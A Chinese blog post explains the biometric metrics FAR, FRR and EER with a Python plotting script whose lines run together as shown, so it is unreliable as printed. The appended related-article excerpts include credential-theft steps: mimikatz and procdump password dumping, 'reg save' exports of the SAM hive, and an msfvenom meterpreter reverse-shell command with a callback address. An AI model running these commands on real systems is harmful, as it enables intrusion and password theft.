错误接受率 (FAR), 错误拒绝率(FRR), 等错误率(EER)

article/2025/11/5 10:17:46

不管是声纹识别和图像识别,以及指纹识别,在评价模型时总要用到这三个指标。下边说下这三个指标的含义。
1、错误接受率 (FAR-False Acceptance Rate)
FAR = nontarget_is_target / ( target_is_target + nontarget_is_target )
另一种比较容易理解的表示方式:
FAR = NFA / NIRA
式中 NIRA 代表的是类间测试次数,既不同类别间的测试次数,打比方如果有1000个识别 模型,有1000个人要识别,而且每人只提供一个待识别的素材,那 NIRA=1000*(1000-1) 。NFA是错误接受次数。
2、错误拒绝率 (FRR-False Rejection Rate)
FRR = target_is_nontarget / ( target_is_nontarget + nontarget_is_nontarget )
比较容易理解的表示方式:
FRR = NFR / NGRA
上式中NGRA是类内测试次数,既同类别内的测试次数,打比方如果有1000个识别模型, 有1000个人要识别, 而且每人只提供一个待识别的素 材,那 NGRA=1000,如果每个人提供N张图片,那么 NGRA=N*1000 。NFR是错误拒绝次数。
3、等错误率 (EER-Equal Error Rate)
取一组0到1之间的等差数列,分别作为识别模型的判别界限,既坐标x轴,画出FFR和FAR的坐标图,交点就是EER值。
4、简单的程序实现
假如我们可以得到用户与不同模型之间的相似度,每个用户训练一个模型,提供两个素材 用于识别验证,如下图:
相似度

import pandas as pd
import numpy as np
import matplotlib.pyplot as pltclass_in=[] #定义类内相似度列表
class_each=[] #定义类间相似度列表data = pd.read_csv('filepath.csv') #这里以结果在csv文件为例
user_id_length = len(data.values[0,1:]) #要识别的数量
model_id_length = len(data.values[1:,0])#计算出模型ID数量for i in range(user_id_length):for j in range(model_id_length):#需要识别的用户id和模型id一样,就认为是类内测试,否则是类间测试if data.values[i+1][0]==data.values[0][j+1]:class_in.append(np.float(data.values[i+1][j+1]))else:class_each.append(np.float(data.values[i+1][j+1]))
FRR = []
FAR = []
thresld=np.arange(0.1,0.9,0.01) #生成模型阈值的等差列表
eer = 1
for i in range(len(thresld)):frr = np.sum(class_in < thresld[i])/len(class_in)FRR.append(frr)far = np.sum(class_each > thresld[i])/len(class_each)FAR.append(far)if (abs(frr-far)<0.02): #frr和far值相差很小时认为相等eer = abs(frr+far)/2plt.plot(thresld,FRR,'x-',label='FRR')
plt.plot(thresld,FAR,'+-',label='FAR')
plt.grid(True)
plt.legend(bbox_to_anchor=(1.0,1),loc=1,borderaxespad=0.)
plt.show()
print ('EER is: ',eer)

这里我随机生成了一些数据,跑出的效果图如下:

这里写图片描述

因为是随机生成的数据,所以EER的值在0.5左右。


http://chatgpt.dhexx.cn/article/aHv6RiKp.shtml

相关文章

Redis进阶:布隆过滤器(Bloom Filter)及误判率数学推导

1 缘起 有一次偶然间听到有同事在说某个项目中使用了布隆过滤器&#xff0c; 哎呦&#xff0c;我去&#xff0c;我竟然不知道啥是布隆过滤器&#xff0c; 这我哪能忍&#xff1f;其实&#xff0c;也可以忍&#xff0c;但是&#xff0c;可能有的面试官不能忍&#xff01;&#…

机器学习中准确率、精确率、召回率、误报率、漏报率、F1-Score、APmAP、AUC、MAE、MAPE、MSE、RMSE、R-Squared等指标的定义和说明

在机器学习和深度学习用于异常检测(Anomaly detection)、电子商务(E-commerce)、信息检索(Information retrieval, IR)等领域任务(Task)中,有很多的指标来判断机器学习和深度学习效果的好坏。这些指标有相互权衡的,有相互背向的,所以往往需要根据实际的任务和场景来…

讨教大学|六西格玛之属性值数据一致性分析

相信大家在日常的工作中肯定会遇到这样一种情况&#xff1a;产品的质量特性属于外观特性&#xff0c;即 需要靠人工判断产品是不是符合标准。当遇到客户投诉&#xff0c;或者内部报废率比较高的时候&#xff0c;经 常会遇到客户和领导的挑战&#xff1a; 如何保证员工清楚的知…

布隆过滤器原理和基于BloomFilter的误判率展示

布隆过滤器 布隆过滤器原理 布隆过滤器是由n个Hash函数和一个二进制数组组成。 如图所示&#xff08;参考&#xff0c;hash函数可以多个&#xff09; 1.保存操作 发来一个请求数据hello对数据hello经过三次hash运算&#xff0c;分别得到三个值&#xff08;假设1&#xff0…

布隆过滤器的误判率该如何计算?

作者&#xff1a;胡慢慢滚雪球 链接&#xff1a;https://www.zhihu.com/question/38573286/answer/507497251 来源&#xff1a;知乎 著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 在计算机中&#xff0c;判断一个元素是不是在一个集合中…

神器 mimikatz - 直接抓取 Windows 明文密码

昨天有朋友发了个法国佬写的神器叫 mimikatz让我们看下 神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-password…

加密连接数据库明文密码

我的其他笔记有记录过加密算法&#xff0c;这里不一一阐述&#xff0c;用DES对MySQL用户名和密码加密&#xff0c;然后在spring-dao.xml中配置中解密&#xff0c;需要新建一个解密类注册到xml中。 解密类&#xff1a; package com.mlr.util;import org.springframework.beans…

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置&#xff08;yml格式的&#xff1b;properties 和 yml 在线转换&#xff09;3.找到maven仓库下&#xff1a;org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 &#xff1a;Windows10专业版 参考了网上的方法&#xff0c;发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章&#xff0c;都被转烂了&#xff0c;这一篇文章是对的&#xff0c;但是路径上还是有点小问题的&#xff0c;…

meterpreter下抓取windows系统明文密码实验

虚拟机&#xff1a;kali | Win7 工具&#xff1a;msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf&#xff0c;选择模块&#xff0c;配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密&#xff0c;造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存&#xff08;按altF9&#xff09; 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中&#xff0c;需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息&#xff0c;都需要保存在配置文件里&#xff0c;或者配置中心。 这些信息如果泄露&#xff0c;还是会造成一定的困扰&#xff0c;这里介绍2种处理方案&#xff1a; 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面&#xff1a; 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面&#xff1a; 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章&#xff0c;内容主要是在内网渗透中获得明文密码的两种方式。&#xff0c;在笔者看来&#xff0c;两…

Navicat导出链接查看数据库明文密码

测试环境&#xff1a;Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址&#xff1a;navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境&#xff1a;Win10 企业版LTSC 1809 工具下载&#xff1a;k8版本的mz64.exe、procdumpv9.0 原理&#xff1a;获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提&#xff1a;拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标&#xff1a;恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况&#xff0c;现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提&#xff0c;这个服务有一个前提&#xff0c;就是这个用户能够访问他…

MD5明文密码加密

MD5 一、加密缘由 首先看一下未使用MD5加密的数据库 这样的话如果黑客攻击数据库的时候得到数据库的资料&#xff08;主要密码&#xff09;就会导致用户的财产等受到危害&#xff0c;所以需要对密码进行加密操作 二、加密的算法MD5 2.1、运用了单向加密算法&#xff08;下…

Unity基础: 对Anchors锚点的使用

在UI对象上是用RectTransform组件来控制位置和大小的&#xff0c;在RectTransform中有一个Anchors属性。Anchors属性可以将当前对象的四个角锚点定位到父对象的某个位置&#xff0c;并且Anchor还允许子对象的宽高随着父对象的宽高一起拉伸。 上面一个示例中显示的就是将一个Ima…